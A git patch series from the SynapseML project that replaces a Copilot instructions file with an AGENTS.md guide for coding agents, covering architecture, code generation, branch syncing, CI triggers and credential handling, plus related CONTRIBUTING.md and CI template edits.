"AGENTS.md" to name the project. Agents frequently receive the contents without the path, and a file that does not identify itself is hard to place. Add the two sections the current guidance for agent context files calls for that this file was missing: - Boundaries, split into never / ask first / safe. Most of these rules were already here but scattered across sections an agent reads late, if at all. - Secrets and credentials, stating that a skipped test is the correct local outcome. Otherwise the obvious "fix" for a skip is to inline a key. Also fold the pull request conventions into the CI section so they are not split across two places, and record that comparing before-and-after test results is what distinguishes a real fix from a coincidence. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/copilot-instructions.md | 245 -------------------- AGENTS.md | 392 ++++++++++++++++++++++++++++++++ CONTRIBUTING.md | 21 ++ 3 files changed, 413 insertions(+), 245 deletions(-) delete mode 100644 .github/copilot-instructions.md create mode 100644 AGENTS.md diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md deleted file mode 100644 index 3da68c42709..00000000000 --- a/.github/copilot-instructions.md +++ /dev/null @@ -1,245 +0,0 @@ -# SynapseML Copilot Instructions - -SynapseML is an open-source library providing scalable machine learning pipelines -for Apache Spark. It wraps algorithms (LightGBM, VW, Azure AI Services, ONNX, OpenCV) -as SparkML-compatible `PipelineStage`s with auto-generated Python bindings. - -## Architecture - -### Module Map - -| Module | Directory | Purpose | -|--------|-----------|---------| -| **core** | `core/` | Foundational transformers, featurizers, IO, codegen, automl, causal inference | -| **cognitive** | `cognitive/` | Azure AI Services wrappers (OpenAI, Vision, Speech, Text, etc.) | -| **lightgbm** | `lightgbm/` | LightGBM classifier/regressor/ranker for Spark | -| **vw** | `vw/` | Vowpal Wabbit integration | -| **deep-learning** | `deep-learning/` | ONNX Runtime inference | -| **opencv** | `opencv/` | Image transformations via OpenCV | - -All modules depend on `core`. `deep-learning` also depends on `opencv`. - -### Directory Layout (same pattern in every module) - -``` -{module}/ -├── src/ -│ ├── main/ -│ │ ├── scala/com/microsoft/azure/synapse/ml/{package}/ -│ │ │ ├── MyTransformer.scala ← primary source code -│ │ │ └── MyTransformerParams.scala ← parameter traits (optional) -│ │ └── python/synapse/ml/{package}/ -│ │ └── MyTransformer.py ← hand-written Python (if needed) -│ └── test/ -│ ├── scala/com/microsoft/azure/synapse/ml/{package}/ -│ │ └── MyTransformerSuite.scala ← ScalaTest tests -│ └── python/synapsemltest/{package}/ -│ └── test_my_transformer.py ← Python tests -└── target/ - └── scala-2.12/generated/src/python/ ← AUTO-GENERATED (never edit) -``` - -## Critical: The Code Generation Pipeline - -**SynapseML auto-generates Python wrappers from Scala code.** This is the most -important thing to understand. - -### How It Works - -1. A Scala class mixes in the `Wrappable` trait -2. Running `sbt codegen` calls `makePyFile()` which generates a Python class -3. Generated files go to `target/scala-2.12/generated/src/python/synapse/ml/` -4. Generated files use underscore prefix: `_ClassName.py` -5. Hand-written Python in `src/main/python/` can extend the generated class - -### What This Means for You - -- **To add or change a feature**: Edit the **Scala** code. The Python wrapper - regenerates automatically. -- **Never edit files in `target/`**: They are overwritten on every build. -- **Hand-written Python** (`src/main/python/`) is only for cases where the - generated wrapper needs manual overrides or additional logic. - -### Example: Generated vs Hand-Written Python - -Generated (DO NOT EDIT): `target/.../synapse/ml/isolationforest/_IsolationForestModel.py` - -Hand-written override (OK to edit): `core/src/main/python/synapse/ml/isolationforest/IsolationForestModel.py` -```python -from synapse.ml.isolationforest._IsolationForestModel import _IsolationForestModel - -class IsolationForestModel(_IsolationForestModel): - def getInnerModel(self): - return self._java_obj.getInnerModel() -``` - -## Scala Patterns - -### Transformer/Estimator Pattern - -Every SynapseML stage follows this pattern: - -```scala -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.stages - -import com.microsoft.azure.synapse.ml.codegen.Wrappable -import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} -import org.apache.spark.ml.Transformer -import org.apache.spark.ml.param._ -import org.apache.spark.ml.util._ -import org.apache.spark.sql.types._ -import org.apache.spark.sql.{DataFrame, Dataset} - -object DropColumns extends DefaultParamsReadable[DropColumns] - -class DropColumns(val uid: String) - extends Transformer with Wrappable with DefaultParamsWritable with SynapseMLLogging { - logClass(FeatureNames.Core) - - def this() = this(Identifiable.randomUID("DropColumns")) - - val cols: StringArrayParam = - new StringArrayParam(this, "cols", "Comma separated list of column names") - - def getCols: Array[String] = $(cols) - def setCols(value: Array[String]): this.type = set(cols, value) - - override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]({ - dataset.toDF().drop(getCols: _*) - }, dataset.columns.length) - } - - def transformSchema(schema: StructType): StructType = { - val droppedCols = getCols.toSet - StructType(schema.fields.filter(f => !droppedCols(f.name))) - } - - def copy(extra: ParamMap): DropColumns = defaultCopy(extra) -} -``` - -### Key Conventions - -- **Companion object**: Always add `extends DefaultParamsReadable[ClassName]` - for model serialization. -- **`Wrappable` trait**: Required for Python code generation. Without it, no - Python wrapper is created. -- **`SynapseMLLogging` trait**: Required on all transformers/estimators. Call - `logClass(FeatureNames.X)` in the constructor and wrap `transform`/`fit` - with `logTransform`/`logFit`. -- **Parameter traits**: For complex stages, define params in a separate trait - (e.g., `trait MyParams extends Wrappable with HasInputCol`) and mix it into - the class. This is the SynapseML composition pattern. -- **`uid` parameter**: Every stage must accept `uid: String` and provide a - no-arg constructor that generates a random UID. - -### Cognitive Module (Azure AI Services) - -The `cognitive` module follows a different pattern using service-oriented traits: -```scala -trait HasServiceParams extends Params // base for all service parameters -trait HasSubscriptionKey extends HasServiceParams -trait HasAADToken extends HasServiceParams -``` -Services extend `CognitiveServicesBase` instead of raw `Transformer`. - -### File Headers - -Every Scala file **must** start with this exact header (enforced by scalastyle): -```scala -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.{package} -``` - -Python files use the same copyright comment: -```python -# Copyright (C) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See LICENSE in project root for information. -``` - -## Build System - -SynapseML uses **sbt** (not Maven or Gradle). Spark 3.5.0, Scala 2.12.17. - -### Essential Commands - -```bash -sbt compile # compile all modules -sbt test:compile # compile all tests -sbt core/compile # compile just the core module -sbt scalastyle test:scalastyle # run Scala style checks -sbt codegen # regenerate Python/R wrappers from Scala -``` - -### Python Style - -- **Formatter**: `black` pinned to **22.3.0** (configured in `pyproject.toml`) -- **Environment**: conda env named `synapseml` (defined in `environment.yml`) -- Run locally: `black --check --extend-exclude 'docs/' .` - -### Scalastyle Rules - -- Max file length: 800 lines -- Max line length: 120 characters -- No tabs, no trailing whitespace -- License header required (see above) -- Token names max 40 characters - -## Testing - -### Scala Tests - -- **Framework**: ScalaTest (`AnyFunSuite` via `TestBase` trait) -- **SparkSession**: Provided automatically by `TestBase` (local mode) -- **Test location**: `{module}/src/test/scala/com/microsoft/azure/synapse/ml/{package}/` - -```scala -class MyTransformerSuite extends TestBase { - test("MyTransformer should transform data") { - val df = spark.createDataFrame(Seq(("a", 1), ("b", 2))).toDF("col1", "col2") - val result = new MyTransformer().setCols(Array("col1")).transform(df) - assert(result.columns.length == 1) - } -} -``` - -Tests that call Azure services or require external resources will be skipped -without credentials. Pure Spark tests run anywhere. - -### Python Tests - -- Located in `{module}/src/test/python/synapsemltest/` -- Require PySpark and the `synapseml` conda environment -- Run via: `sbt "testOnly *PythonTests*"` (runs through sbt, not pytest directly) - -## CI/CD - -- **Main build**: Azure DevOps pipeline (`pipeline.yaml`) — full test suite, 45+ min -- **GitHub Actions**: Lightweight checks only (style, compile, dead links, dependency review) -- **PR feedback**: GitHub Actions runs in ~5 min; ADO requires `/azp run` comment -- **PR titles**: Must follow conventional commits (`feat:`, `fix:`, `ci:`, `chore:`, `test:`, `docs:`) - -## Common Mistakes - -1. **Editing generated Python files** — They live in `target/` and are overwritten. - Edit the Scala source instead. -2. **Forgetting `Wrappable`** — If you add a new Scala transformer and forget - `with Wrappable`, it won't get a Python wrapper. -3. **Forgetting `SynapseMLLogging`** — All stages must mix in this trait and - call `logClass()` in the constructor. -4. **Missing companion object** — Without `object Foo extends DefaultParamsReadable[Foo]`, - model deserialization will fail. -5. **Wrong black version** — Using latest black instead of 22.3.0 will show - false formatting failures. -6. **Putting logic in Python** — SynapseML is Scala-first. Python wrappers - delegate to the JVM. Put business logic in Scala. -7. **Missing license header** — Scalastyle will reject files without the - Microsoft copyright header. -8. **Using RDD API** — SynapseML uses the DataFrame/Dataset API exclusively. - Never introduce RDD-based code. diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 00000000000..53a89ff093f --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,392 @@ +# SynapseML — instructions for coding agents + +Entry point for coding agents working in this repository. Humans should start +with [CONTRIBUTING.md](CONTRIBUTING.md). + +SynapseML is an open-source library providing scalable machine learning pipelines +for Apache Spark. It wraps algorithms (LightGBM, VW, Azure AI Services, ONNX, +OpenCV) as SparkML-compatible `PipelineStage`s with auto-generated Python +bindings. + +## Read this first + +1. **This file** — architecture, the code generation pipeline, conventions, and + the rules that apply on every branch. +2. **`AGENTS_.md`** — if you are on any branch other than `master`, read + it before changing anything. It records what diverges on that branch and why. + +## Boundaries + +**Never** + +- Edit anything under `target/` — it is generated and overwritten on every build. +- Commit credentials, keys, connection strings, or `.env` files. +- Introduce RDD-based code (see *Common mistakes*). +- Rebase a `spark4.x` branch onto `master`, or force-push a shared branch. + +**Ask first** + +- Changing `pipeline.yaml`, anything under `.github/workflows/`, or release + tooling — these affect every branch and can only be validated by running CI. +- Changing a dependency pin. Pins here are usually load-bearing, and the reason + is often recorded next to them or in `AGENTS_.md`. +- Porting a change between `master` and a `spark4.x` branch, in either + direction. + +**Safe to do without asking** + +- Add or modify Scala sources, tests, and hand-written Python under + `src/main/python/`. +- Run any `sbt` target, the formatters, and the linters. + +## Secrets and credentials + +Tests reach real Azure services and read their credentials from environment +variables and Azure Key Vault at run time. Never hard-code one, never paste one +into a test fixture or notebook, and never echo one into build output. Tests +that cannot find credentials are expected to skip — a skip is the correct +outcome locally, not something to work around by inlining a key. + +## Branch model + +| Branch | Purpose | +| --- | --- | +| `master` | Mainline. The Spark 3.x line, and the source of truth for everything not version-specific. | +| `spark4.0` | Spark 4.0 port. See `AGENTS_spark4.0.md`. | +| `spark4.1` | Spark 4.1 port. See `AGENTS_spark4.1.md`. | + +Target `master` for ordinary work. Target a `spark4.x` branch only for changes +that exist *because of* that Spark version. + +### Where instructions live + +This file and `CONTRIBUTING.md` are meant to be **byte-identical on every +branch**. So they must stay free of anything a branch would have to edit: Spark, +Scala, Java and Python version numbers, and paths containing a Scala version such +as `target/scala-/`. + +Naming the branches, and the Spark line each one targets, is fine — that is what +the table above is for, and it is the same on every branch. The rule is about +*specific versions*, not about mentioning Spark at all. + +If you find yourself wanting to add a version number here, that is the signal +that it belongs in the branch file instead. The authoritative versions are in +`build.sbt` and `environment.yml`; read them rather than restating them, because +a restated version silently goes stale — that is exactly how the file this one +replaces came to describe a toolchain its branch had not used for months. + +Keeping the shared files identical is not just tidiness: it means a +`master` → branch sync merges them cleanly instead of producing a conflict that +someone has to resolve by hand on every sync. + +## Syncing master into a Spark 4 branch + +These branches are kept current by **merging** `master` in, not by rebasing. +Rebasing discards the accumulated conflict resolutions, which are the real +content of these branches. + +The governing rule when resolving a conflict: + +- Keep the branch's side where the difference exists **because of** the version + upgrade. +- Take master's side otherwise. +- **Combine** where both sides changed for different reasons. This is the case + people get wrong most often — a file can carry both a master bugfix and a + branch-specific adaptation, and taking either side wholesale silently drops + the other. + +To tell which case you are in for a file, compare three versions: the merge +base, master, and the branch. If `git diff master -- ` is +empty, master never touched it and the divergence is deliberate branch work. + +### Verifying a sync actually landed + +Commit reachability is **not** sufficient evidence. `git log master ^` +being empty only proves the commits are ancestors; a conflict resolution can +still have discarded master's side while leaving the merge commit in place. + +Check content instead: for each file master changed, confirm the lines master +added are present in the branch, then classify every difference as either an +intended version-driven divergence or a dropped change. Expect a large number of +legitimate hits — record why each one is intentional rather than skimming past +it. + +## Architecture + +### Module map + +| Module | Directory | Purpose | +|--------|-----------|---------| +| **core** | `core/` | Foundational transformers, featurizers, IO, codegen, automl, causal inference | +| **cognitive** | `cognitive/` | Azure AI Services wrappers (OpenAI, Vision, Speech, Text, etc.) | +| **lightgbm** | `lightgbm/` | LightGBM classifier/regressor/ranker for Spark | +| **vw** | `vw/` | Vowpal Wabbit integration | +| **deep-learning** | `deep-learning/` | ONNX Runtime inference | +| **opencv** | `opencv/` | Image transformations via OpenCV | + +All modules depend on `core`. `deep-learning` also depends on `opencv`. + +### Directory layout (same pattern in every module) + +``` +{module}/ +├── src/ +│ ├── main/ +│ │ ├── scala/com/microsoft/azure/synapse/ml/{package}/ +│ │ │ ├── MyTransformer.scala ← primary source code +│ │ │ └── MyTransformerParams.scala ← parameter traits (optional) +│ │ └── python/synapse/ml/{package}/ +│ │ └── MyTransformer.py ← hand-written Python (if needed) +│ └── test/ +│ ├── scala/com/microsoft/azure/synapse/ml/{package}/ +│ │ └── MyTransformerSuite.scala ← ScalaTest tests +│ └── python/synapsemltest/{package}/ +│ └── test_my_transformer.py ← Python tests +└── target/ + └── scala-/generated/src/python/ ← AUTO-GENERATED (never edit) +``` + +`` is the Scala binary version this branch builds against, so the +generated path differs between branches. Take it from `build.sbt` rather than +assuming, or just glob `target/scala-*/generated/`. + +## Critical: the code generation pipeline + +**SynapseML auto-generates Python wrappers from Scala code.** This is the most +important thing to understand. + +### How it works + +1. A Scala class mixes in the `Wrappable` trait +2. Running `sbt codegen` calls `makePyFile()` which generates a Python class +3. Generated files go to `target/scala-/generated/src/python/synapse/ml/` +4. Generated files use underscore prefix: `_ClassName.py` +5. Hand-written Python in `src/main/python/` can extend the generated class + +### What this means for you + +- **To add or change a feature**: Edit the **Scala** code. The Python wrapper + regenerates automatically. +- **Never edit files in `target/`**: They are overwritten on every build. +- **Hand-written Python** (`src/main/python/`) is only for cases where the + generated wrapper needs manual overrides or additional logic. + +### Example: generated vs hand-written Python + +Generated (DO NOT EDIT): `target/.../synapse/ml/isolationforest/_IsolationForestModel.py` + +Hand-written override (OK to edit): `core/src/main/python/synapse/ml/isolationforest/IsolationForestModel.py` +```python +from synapse.ml.isolationforest._IsolationForestModel import _IsolationForestModel + +class IsolationForestModel(_IsolationForestModel): + def getInnerModel(self): + return self._java_obj.getInnerModel() +``` + +### Hand-written `__init__.py` files + +Do **not** add an `__init__.py` that re-lists classes codegen already exports. +Codegen emits `import *` for every generated module, so a hand-maintained list +adds nothing and goes stale silently — and because these files can define +`__all__`, a stale one actively *narrows* the public surface rather than +extending it. Add one only to export something codegen does not emit. + +## Scala patterns + +### Transformer/Estimator pattern + +Every SynapseML stage follows this pattern: + +```scala +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.codegen.Wrappable +import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} +import org.apache.spark.ml.Transformer +import org.apache.spark.ml.param._ +import org.apache.spark.ml.util._ +import org.apache.spark.sql.types._ +import org.apache.spark.sql.{DataFrame, Dataset} + +object DropColumns extends DefaultParamsReadable[DropColumns] + +class DropColumns(val uid: String) + extends Transformer with Wrappable with DefaultParamsWritable with SynapseMLLogging { + logClass(FeatureNames.Core) + + def this() = this(Identifiable.randomUID("DropColumns")) + + val cols: StringArrayParam = + new StringArrayParam(this, "cols", "Comma separated list of column names") + + def getCols: Array[String] = $(cols) + def setCols(value: Array[String]): this.type = set(cols, value) + + override def transform(dataset: Dataset[_]): DataFrame = { + logTransform[DataFrame]({ + dataset.toDF().drop(getCols: _*) + }, dataset.columns.length) + } + + def transformSchema(schema: StructType): StructType = { + val droppedCols = getCols.toSet + StructType(schema.fields.filter(f => !droppedCols(f.name))) + } + + def copy(extra: ParamMap): DropColumns = defaultCopy(extra) +} +``` + +### Key conventions + +- **Companion object**: Always add `extends DefaultParamsReadable[ClassName]` + for model serialization. +- **`Wrappable` trait**: Required for Python code generation. Without it, no + Python wrapper is created. +- **`SynapseMLLogging` trait**: Required on all transformers/estimators. Call + `logClass(FeatureNames.X)` in the constructor and wrap `transform`/`fit` + with `logTransform`/`logFit`. +- **Parameter traits**: For complex stages, define params in a separate trait + (e.g., `trait MyParams extends Wrappable with HasInputCol`) and mix it into + the class. This is the SynapseML composition pattern. +- **`uid` parameter**: Every stage must accept `uid: String` and provide a + no-arg constructor that generates a random UID. + +### Cognitive module (Azure AI Services) + +The `cognitive` module follows a different pattern using service-oriented traits: +```scala +trait HasServiceParams extends Params // base for all service parameters +trait HasSubscriptionKey extends HasServiceParams +trait HasAADToken extends HasServiceParams +``` +Services extend `CognitiveServicesBase` instead of raw `Transformer`. + +### File headers + +Every Scala file **must** start with this exact header (enforced by scalastyle): +```scala +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.{package} +``` + +Python files use the same copyright comment: +```python +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. +``` + +## Build system + +SynapseML uses **sbt** (not Maven or Gradle). The Spark, Scala, Java and Python +versions differ per branch — read them from `build.sbt` and `environment.yml`, +and see `AGENTS_.md` for the branch you are on. + +### Essential commands + +```bash +sbt compile # compile all modules +sbt Test/compile # compile all tests +sbt core/compile # compile just the core module +sbt scalastyle Test/scalastyle # run Scala style checks +sbt codegen # regenerate Python/R wrappers from Scala +``` + +### Python style + +- **Formatter**: `black` pinned to **22.3.0** (configured in `pyproject.toml`) +- **Environment**: conda env named `synapseml` (defined in `environment.yml`) +- Run locally: `black --check --extend-exclude 'docs/' .` + +Using a newer black reports spurious failures. + +### Scalastyle rules + +- Max file length: 800 lines +- Max line length: 120 characters +- No tabs, no trailing whitespace +- License header required (see above) +- Token names max 40 characters + +## Testing + +### Scala tests + +- **Framework**: ScalaTest (`AnyFunSuite` via `TestBase` trait) +- **SparkSession**: Provided automatically by `TestBase` (local mode) +- **Test location**: `{module}/src/test/scala/com/microsoft/azure/synapse/ml/{package}/` + +```scala +class MyTransformerSuite extends TestBase { + test("MyTransformer should transform data") { + val df = spark.createDataFrame(Seq(("a", 1), ("b", 2))).toDF("col1", "col2") + val result = new MyTransformer().setCols(Array("col1")).transform(df) + assert(result.columns.length == 1) + } +} +``` + +Tests that call Azure services or require external resources will be skipped +without credentials. Pure Spark tests run anywhere. + +### Python tests + +- Located in `{module}/src/test/python/synapsemltest/` +- Require PySpark and the `synapseml` conda environment +- Run via: `sbt "testOnly *PythonTests*"` (runs through sbt, not pytest directly) + +## CI and pull requests + +- **Main build**: Azure DevOps pipeline (`pipeline.yaml`) — full test suite, 45+ min +- **GitHub Actions**: Lightweight checks only (style, compile, dead links, dependency review) +- **PR feedback**: GitHub Actions runs in ~5 min; the Azure DevOps run is triggered + by an `/azp run` comment. That comment does **not** work on every branch — see + `AGENTS_.md` before concluding the pipeline is broken. +- **PR titles**: Must follow conventional commits (`feat:`, `fix:`, `ci:`, + `chore:`, `test:`, `docs:`). The title is linted; the body is not. +- **Target branch**: see *Branch model* above. Retargeting a PR after review has + started loses the review, so get this right before opening it. +- **Green is not the same as correct.** Before believing a fix worked, compare + the failing tests before and after. A suite can fail identically for a + different reason, and a newly added test passing says nothing about the tests + a change breaks. + +## Common mistakes + +1. **Editing generated Python files** — They live in `target/` and are overwritten. + Edit the Scala source instead. +2. **Forgetting `Wrappable`** — If you add a new Scala transformer and forget + `with Wrappable`, it won't get a Python wrapper. +3. **Forgetting `SynapseMLLogging`** — All stages must mix in this trait and + call `logClass()` in the constructor. +4. **Missing companion object** — Without `object Foo extends DefaultParamsReadable[Foo]`, + model deserialization will fail. +5. **Wrong black version** — Using latest black instead of 22.3.0 will show + false formatting failures. +6. **Putting logic in Python** — SynapseML is Scala-first. Python wrappers + delegate to the JVM. Put business logic in Scala. +7. **Missing license header** — Scalastyle will reject files without the + Microsoft copyright header. +8. **Using RDD API** — SynapseML uses the DataFrame/Dataset API exclusively. + Never introduce RDD-based code. Beyond style, it does not work under Spark + Connect or Databricks Unity Catalog standard and serverless modes. +9. **Re-listing generated classes in an `__init__.py`** — see above; it narrows + the public API instead of extending it. + +## Working effectively + +- Prefer measuring over asserting. Where a claim can be checked with a command, + check it, and prefer the smallest command that covers the change. +- Sanity-check negative results before trusting them. A search that returns + nothing because a tool is missing looks exactly like a search that returns + nothing because the thing is absent; confirm with a case you know should + match. +- Record *why* a divergence exists at the point it is introduced — in a comment + next to the change and, if it is durable, in `AGENTS_.md`. A pin with + no rationale gets "helpfully" reverted by the next sync. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2556638be7f..c3e9563a88b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -17,6 +17,27 @@ an issue. Also, you can up-vote or comment on existing issues. If you want to add code, examples or documentation to the repository, follow this process: +### Which branch should I target? + +Most contributions target `master`. + +This repository also maintains ports of the library to newer Spark versions on +long-lived branches (`spark4.0`, `spark4.1`). Target one of those only when the +change exists *because of* that Spark version — for example, replacing an API +that behaves differently there. Ordinary bug fixes and new features belong on +`master` and reach the port branches when `master` is merged into them. + +If a fix applies everywhere, land it on `master` first so the port branches +inherit it on the next sync. Fixing the same thing separately on each branch +creates a conflict that someone then has to resolve by hand. + +Each port branch carries an `AGENTS_.md` describing what diverges there +and why. Read it before changing anything on that branch — several of the +differences look like mistakes until you know the reason for them, and a +"cleanup" that reverts one tends to break the build in a way that is not obvious +from the diff. Repository-wide guidance for automated coding agents is in +[AGENTS.md](AGENTS.md). + #### Propose a contribution - Preferably, get started by tackling existing issues to get yourself acquainted From f3a54935ad21b3328f5906cd95541e7f60e6a610 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 18:56:00 -0700 Subject: [PATCH 85/93] docs: make the coverage template comment version-agnostic The comment named target/scala-2.12/coverage-report/, which is right on master and wrong here -- this branch builds against a different Scala binary version. The glob underneath it was already version-agnostic, so only the comment was misleading, which is the worst kind of stale: it reads as authoritative while pointing at a directory that does not exist on this branch. Write the path with a placeholder instead, and say why the glob is loose, so the same text is correct on every branch. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- templates/publish_coverage_ado.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/templates/publish_coverage_ado.yml b/templates/publish_coverage_ado.yml index 30bac3177e4..9f1eee6e850 100644 --- a/templates/publish_coverage_ado.yml +++ b/templates/publish_coverage_ado.yml @@ -11,8 +11,10 @@ steps: displayName: 'Publish Code Coverage to Azure DevOps' inputs: # Cobertura XML, which Azure DevOps understands. - # sbt-scoverage writes it to target/scala-2.12/coverage-report/ (scoverage-report/ - # only ever holds scoverage.xml and the HTML), so glob coverage-report explicitly. + # sbt-scoverage writes it to target/scala-/coverage-report/ + # (scoverage-report/ only ever holds scoverage.xml and the HTML), so glob + # coverage-report explicitly. The glob is deliberately version-agnostic so + # this template is correct on every branch. summaryFileLocation: '**/coverage-report/cobertura.xml' pathToSources: '$(Build.SourcesDirectory)' # Fail loudly if the glob stops matching, rather than silently publishing nothing. From 24af9c1a75683fbda7a26c56bea27afd968732f7 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 21:24:34 -0700 Subject: [PATCH 86/93] docs: /azp run now triggers builds on this branch The ADO pull-request trigger filter was widened on 2026-08-17, so the guidance saying /azp run does nothing here is now wrong -- and wrong in the costly direction: an agent reading it would skip the comment and hand-queue every build, which is slower and easy to get subtly wrong by queueing the branch ref instead of the merge ref. Validated rather than assumed. Commenting /azp run on PR #2645 produced build 231455958 with reason=pullRequest and requestedFor=GitHub, where every build I queued by hand before it recorded reason=manual under my own name. That field is the discriminator worth writing down: a hand-queued build and a trigger-driven one are otherwise indistinguishable, and "I commented" is not evidence a build exists. Kept the UI-overrides-YAML explanation but demoted it from cause to diagnostic. It is still the first thing to check when a comment yields no build, because a UI-defined trigger silently ignores targets pipeline.yaml lists, and that failure mode is invisible -- no error, no build, no feedback. The merge-ref fallback stays for that case. The shared AGENTS.md line now says to confirm a build actually queued instead of claiming the comment does not work on every branch. That phrasing stays true regardless of how the trigger is configured later, so it will not rot the next time the filter changes. Verified AGENTS.md is byte-identical to the spark4.0 branch copy. Docs only; no code, so in-flight build 231455958 remains valid evidence for this head. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- AGENTS.md | 5 +++-- AGENTS_spark4.1.md | 22 ++++++++++++++++------ 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 53a89ff093f..41f8729615b 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -346,8 +346,9 @@ without credentials. Pure Spark tests run anywhere. - **Main build**: Azure DevOps pipeline (`pipeline.yaml`) — full test suite, 45+ min - **GitHub Actions**: Lightweight checks only (style, compile, dead links, dependency review) - **PR feedback**: GitHub Actions runs in ~5 min; the Azure DevOps run is triggered - by an `/azp run` comment. That comment does **not** work on every branch — see - `AGENTS_.md` before concluding the pipeline is broken. + by an `/azp run` comment. Confirm a build actually queued rather than treating + the comment as proof — see `AGENTS_.md` for how to verify and what to + do if none appears. - **PR titles**: Must follow conventional commits (`feat:`, `fix:`, `ci:`, `chore:`, `test:`, `docs:`). The title is linted; the body is not. - **Target branch**: see *Branch model* above. Retargeting a PR after review has diff --git a/AGENTS_spark4.1.md b/AGENTS_spark4.1.md index 1a17f4b505c..0ca4bc436b5 100644 --- a/AGENTS_spark4.1.md +++ b/AGENTS_spark4.1.md @@ -225,12 +225,22 @@ is safe but buys little on its own, since the surrounding ## CI -`/azp run` does **not** trigger for this branch. The Azure DevOps definition's -pull-request trigger is defined in the UI with a `+master` branch filter, so the -`pr:` block in `pipeline.yaml` is never consulted. Until that filter is widened, -queue a build directly against the PR merge ref (`refs/pull//merge`); a manual -queue bypasses trigger filters. `refs/heads/` does not work — it fails -service-connection authorization. +`/azp run` **does** trigger a full build for this branch. The Azure DevOps +definition's pull-request trigger is defined in the pipeline UI rather than by +the `pr:` block in `pipeline.yaml`, and until 2026-08-17 its filter was +`+master` only, so comments on this branch were silently ignored. The filter now +covers `master`, `spark3.5`, `spark4.0` and `spark4.1`. + +Verified on PR #2645: build `231455958` queued with `reason=pullRequest` and +`requestedFor=GitHub`, versus `reason=manual` on every hand-queued build before +it. That field is the reliable way to tell a trigger-driven run from one you +queued yourself. + +If a comment produces no build, re-read the trigger's branch filters through the +definitions API before assuming flakiness — a UI-defined trigger overrides the +YAML silently. The fallback is to queue directly against the PR merge ref +(`refs/pull//merge`), which bypasses trigger filters. `refs/heads/` +does not work — it fails service-connection authorization. GitHub Actions checks do run here, but they only compile and lint. They cannot catch the failures this branch is actually prone to, all of which need the full From c2f4ce78f7888fc1df741b6fe138fed306a7fbe0 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sun, 16 Aug 2026 22:27:42 -0700 Subject: [PATCH 87/93] docs: add concise agent and PR readiness guidance (#2649) * docs: make the agent guide concise and actionable ## Summary`nReduce AGENTS.md from a long duplicated reference to a short repository decision guide with direct links to authoritative build, setup, review, codegen, testing, branch, and CI sources. ## Prompting Intent`nEnsure every instruction in the new AGENTS.md is helpful and terse, and replace copied detail with links and pointers to what coding agents actually need. ## Linked Sources`n- Pull request: https://github.com/microsoft/SynapseML/pull/2648`n- Contributor guide: CONTRIBUTING.md`n- Repository skills: .github/skills/`n- Build sources: build.sbt, environment.yml, pyproject.toml, pipeline.yaml ## Rationale`nAgents need high-signal boundaries and navigation, not a second copy of implementation examples. Keeping durable rules while linking to source files reduces staleness, token cost, and branch-sync conflicts without losing actionable guidance. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: stop naming Spark versions in the two shared files AGENTS.md and CONTRIBUTING.md are required to be identical on every branch, but both enumerated the port branches by name -- three places in AGENTS.md and one in CONTRIBUTING.md. That makes adding a port branch an edit to a file that must then be re-synced everywhere, which is the exact churn the identical-everywhere rule exists to avoid. Describe the pattern instead of listing instances: port branches are named spark, and `git branch -r` is the authoritative list. Same reason version numbers are read from build.sbt rather than restated -- an enumeration in prose is a copy that goes stale silently. State the boundary explicitly in "Keep this file useful", since it was implied rather than written: these two files may not name a Spark, Scala, Java or Python version, or a path containing one, while README, the website and module docs are free to be branch- and version-specific because nothing requires those to match across branches. Verified: no version-like token remains in either file, and every relative link still resolves. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: add a repeatable merge-readiness workflow ## Summary`nAdd a project skill for taking SynapseML issues and stale PRs through an evidence-based merge-readiness loop, with reusable readiness gates, CI triage, Spark performance guidance, and a live GitHub snapshot script. Link it tersely from AGENTS.md. ## Prompting Intent`nCapture the recurring 5/5 or 200%-ready development workflow from prior SynapseML sessions so agents consistently rebase, resolve all active and suppressed feedback, prove user value, add regression and end-to-end tests, protect compatibility and Spark performance, and iterate full CI to green. ## Linked Sources`n- Follow-up PR: https://github.com/microsoft/SynapseML/pull/2649`n- Original agent guide PR: https://github.com/microsoft/SynapseML/pull/2648`n- Project review skill: .github/skills/code-review/SKILL.md`n- Project local setup skill: .github/skills/synapseml-local-setup/SKILL.md`n- Agent Skills specification: https://agentskills.io/specification ## Rationale`nA dedicated skill provides repeatable progressive disclosure without bloating AGENTS.md. The workflow encodes evidence gates learned from real failures: stale targets, discarded conflict content, suppressed comments, helper-only tests, false-green skips, infrastructure failures, compatibility breaks, unshipped artifacts, and unmeasured Spark performance claims. Co-authored-by: 